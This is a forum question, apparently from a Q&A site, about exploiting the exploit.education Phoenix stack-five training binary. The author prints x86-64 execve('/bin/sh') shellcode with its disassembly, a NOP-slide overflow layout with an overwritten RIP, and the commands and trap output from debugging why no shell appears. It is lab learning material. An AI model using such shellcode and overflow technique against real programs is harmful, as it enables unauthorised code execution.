Reverse Engineering Asked by Burst on July 23, 2020
Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/).
I run onto a problem while exploiting a stack overflow. The challenge is run execve(‘/bin/sh’) through shellcode. I grabbed the shellcode from shellstorm (http://shell-storm.org/shellcode/files/shellcode-603.php).
The shellcode consists of:
[NOP slide]
(debug int3 xcc)
"x48x31xd2" // xor %rdx, %rdx
"x48xbbx2fx2fx62x69x6ex2fx73x68" // mov $0x68732f6e69622f2f, %rbx
"x48xc1xebx08" // shr $0x8, %rbx
"x53" // push %rbx
"x48x89xe7" // mov %rsp, %rdi
"x50" // push %rax
"x57" // push %rdi
"x48x89xe6" // mov %rsp, %rsi
"xb0x3b" // mov $0x3b, %al
"x0fx05"; // syscall
(debug int3 xcc)
[padding]
[override rip pointing to the middle of the NOP slide]
I have tested int3’s before and after the shellcode and all seems fine, they both trigger outside and inside gdb and therefore I infer that the shellcode is being executed but i cannot get the shell open.
I’m using this commands:
cat | /opt/phoenix/amd64/stack-five < exploit
cat exploit - | /opt/phoenix/amd64/stack-five
Neither of them gets the shell.
user@phoenix-amd64:~$ cat exploit - | /opt/phoenix/amd64/stack-five
cat exploit - | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
[ 7018.986649] traps: stack-five[433] trap int3 ip:7fffffffe68e sp:7fffffffe6c8 error:0
whoami
Trace/breakpoint trap
This int3 is AFTER the shellcode.
Some idea of what’s wrong?
Get help from others!
Recent Questions
Recent Answers
© 2024 TransWikia.com. All rights reserved. Sites we Love: PCI Database, UKBizDB, Menu Kuliner, Sharing RPP